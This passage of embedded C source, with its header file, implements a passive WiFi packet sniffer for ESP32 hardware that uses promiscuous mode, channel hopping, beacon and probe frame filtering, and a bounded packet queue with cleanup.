}
}
}
is_sniffer_running = true;
xSemaphoreGive(sniffer_running_mutex);
ESP_LOGI(TAG, "WiFi sniffer started successfully");
return true;
}
// Helper function to clean up packet queue (fixes memory leak)
static void cleanup_packet_queue(void) {
if (packet_queue == NULL) return;
packet_info_t *packet;
int freed_count = 0;
while (xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
if (packet) {
free(packet);
freed_count++;
}
}
if (freed_count > 0) {
ESP_LOGI(TAG, "Cleaned up %d packets from queue", freed_count);
}
}
// Stop WiFi sniffer
bool stop_wifi_sniffer(void) {
ESP_LOGI(TAG, "Stopping WiFi sniffer");
// Take mutex
if (sniffer_running_mutex == NULL || xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
ESP_LOGI(TAG, "Failed to take sniffer mutex");
return false;
}
// Check if sniffer is running
if (!is_sniffer_running) {
ESP_LOGW(TAG, "Sniffer not running");
xSemaphoreGive(sniffer_running_mutex);
return false;
}
// Mark as not running first to stop packet handler from adding more packets
is_sniffer_running = false;
// Disable promiscuous mode
esp_wifi_set_promiscuous(false);
// Stop channel hopping task if running (safe deletion)
TaskHandle_t task_to_delete = channel_hopper_task_handle;
channel_hopper_task_handle = NULL; // Clear handle first
if (task_to_delete != NULL) {
// Suspend task before deletion to ensure it's in a safe state
vTaskSuspend(task_to_delete);
vTaskDelay(pdMS_TO_TICKS(10)); // Allow task to reach safe point
vTaskDelete(task_to_delete);
}
// Clean up any remaining packets in the queue (fixes memory leak)
cleanup_packet_queue();
xSemaphoreGive(sniffer_running_mutex);
ESP_LOGI(TAG, "WiFi sniffer stopped successfully");
return true;
}
// Get captured packets
int get_captured_packets(void **packets, int max_packets) {
// Take mutex
if (sniffer_running_mutex == NULL || xSemaphoreTake(sniffer_running_mutex, portMAX_DELAY) != pdTRUE) {
ESP_LOGI(TAG, "Failed to take sniffer mutex");
return 0;
}
// Check if sniffer is running
if (!is_sniffer_running) {
xSemaphoreGive(sniffer_running_mutex);
return 0;
}
// Get packets from queue (up to max_packets)
int count = 0;
packet_info_t *packet;
while (count < max_packets && xQueueReceive(packet_queue, &packet, 0) == pdTRUE) {
packets[count++] = packet;
}
xSemaphoreGive(sniffer_running_mutex);
return count;
}
// Channel hopper task
static void channel_hopper_task(void *pvParameters) {
int current_idx = 0;
int failed_attempts = 0;
ESP_LOGI(TAG, "Channel hopper task started");
while (1) {
// Use each channel in sequence
uint8_t new_channel = channels[current_idx];
// Try to set the channel and check for errors
esp_err_t err = esp_wifi_set_channel(new_channel, WIFI_SECOND_CHAN_NONE);
if (err == ESP_OK) {
// Channel set successfully
ESP_LOGD(TAG, "Hopped to channel %d", new_channel);
current_idx = (current_idx + 1) % channels_count;
failed_attempts = 0;
} else {
// Failed to set channel
failed_attempts++;
ESP_LOGD(TAG, "Failed to hop to channel %d: %s (attempt %d)",
new_channel, esp_err_to_name(err), failed_attempts);
// If we've failed multiple times, wait longer before trying again
if (failed_attempts > 5) {
ESP_LOGW(TAG, "Multiple channel hop failures, waiting longer...");
vTaskDelay((CHANNEL_HOP_INTERVAL_MS * 5) / portTICK_PERIOD_MS);
// Reset failed attempts counter after waiting
failed_attempts = 0;
continue;
}
}
// Wait before hopping again
vTaskDelay(CHANNEL_HOP_INTERVAL_MS / portTICK_PERIOD_MS);
}
}
// Packet handler
static void wifi_sniffer_packet_handler(void *buf, wifi_promiscuous_pkt_type_t type) {
if (!buf) return;
// Check if sniffer is running (volatile read for thread safety)
// Note: We don't take the mutex here as it would be too slow for packet handling
// The is_sniffer_running flag is checked atomically and we gracefully handle
// any packets that arrive during shutdown
if (!is_sniffer_running || packet_queue == NULL) return;
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf;
wifi_pkt_rx_ctrl_t *rx_ctrl = &pkt->rx_ctrl;
// If we have a specific filter for beacon or probe, check it here
if (current_filter == 4 || current_filter == 5) {
// Get frame control field to determine if it's a beacon or probe
const uint8_t *frame = pkt->payload;
uint16_t frame_control = frame[0] | (frame[1] << 8);
uint8_t type = (frame_control & 0x000C) >> 2;
uint8_t subtype = (frame_control & 0x00F0) >> 4;
if (current_filter == 4) { // Beacon frames only
if (!(type == 0 && subtype == 8)) { // Not a beacon
return;
}
} else if (current_filter == 5) { // Probe frames only
if (!(type == 0 && (subtype == 4 || subtype == 5))) { // Not a probe request/response
return;
}
}
}
// Allocate memory for packet info
packet_info_t *packet_info = malloc(sizeof(packet_info_t));
if (!packet_info) {
ESP_LOGI(TAG, "Failed to allocate memory for packet info");
return;
}
// Copy packet data
uint16_t payload_len = rx_ctrl->sig_len - 4; // Remove FCS
if (payload_len > MAX_PACKET_SIZE) {
payload_len = MAX_PACKET_SIZE;
}
// Fill packet info
packet_info->rx_ctrl = *rx_ctrl;
packet_info->length = payload_len;
packet_info->rssi = rx_ctrl->rssi;
packet_info->channel = rx_ctrl->channel;
memcpy(packet_info->data, pkt->payload, payload_len);
// Update signal analysis
signal_update_packet(rx_ctrl->channel, rx_ctrl->rssi);
// Add to queue, if queue is full, discard oldest packet
packet_info_t *old_packet;
if (xQueueSend(packet_queue, &packet_info, 0) != pdTRUE) {
if (xQueueReceive(packet_queue, &old_packet, 0) == pdTRUE) {
if (old_packet) free(old_packet);
xQueueSend(packet_queue, &packet_info, 0);
} else {
// This shouldn't happen, but free the packet if we can't add it
free(packet_info);
}
}
}
// Task to retry setting a single channel
static void single_channel_retry_task(void *pvParameters) {
uint8_t target_channel = *(uint8_t*)pvParameters;
int retry_count = 0;
// Free the parameter memory
free(pvParameters);
ESP_LOGI(TAG, "Channel retry task started for channel %d", target_channel);
while (is_sniffer_running && retry_count < 20) { // Limit retries to avoid infinite loop
esp_err_t err = esp_wifi_set_channel(target_channel, WIFI_SECOND_CHAN_NONE);
if (err == ESP_OK) {
ESP_LOGI(TAG, "Successfully set channel to %d after %d retries", target_channel, retry_count);
break;
}
retry_count++;
ESP_LOGD(TAG, "Retry %d: Failed to set channel %d: %s",
retry_count, target_channel, esp_err_to_name(err));
// Exponential backoff for retries
int delay_ms = CHANNEL_HOP_INTERVAL_MS * (1 << (retry_count > 5 ? 5 : retry_count));
vTaskDelay(delay_ms / portTICK_PERIOD_MS);
}
if (retry_count >= 20) {
ESP_LOGW(TAG, "Failed to set channel %d after maximum retries", target_channel);
}
// Delete self
channel_hopper_task_handle = NULL;
vTaskDelete(NULL);
}

View File

@@ -0,0 +1,39 @@
#ifndef WIFI_SNIFFER_H
#define WIFI_SNIFFER_H
#include <stdbool.h>
#include <stdint.h>
#include "esp_wifi_types.h"
/**
* @brief Start WiFi packet sniffer
*
* @param channel Channel to sniff on (0 for channel hopping)
* @param filter_type Type of packets to capture:
* 0: All packets
* 1: Management frames only
* 2: Data frames only
* 3: Control frames only
* 4: Beacon frames only
* 5: Probe request/response only
* @return true if sniffer started successfully
*/
bool start_wifi_sniffer(uint8_t channel, uint8_t filter_type);
/**
* @brief Stop WiFi packet sniffer
*
* @return true if sniffer stopped successfully
*/
bool stop_wifi_sniffer(void);
/**
* @brief Get captured packets
*
* @param packets Array of pointers to store packet data (must be freed by caller)
* @param max_packets Maximum number of packets to retrieve
* @return Number of packets retrieved
*/
int get_captured_packets(void **packets, int max_packets);
#endif /* WIFI_SNIFFER_H */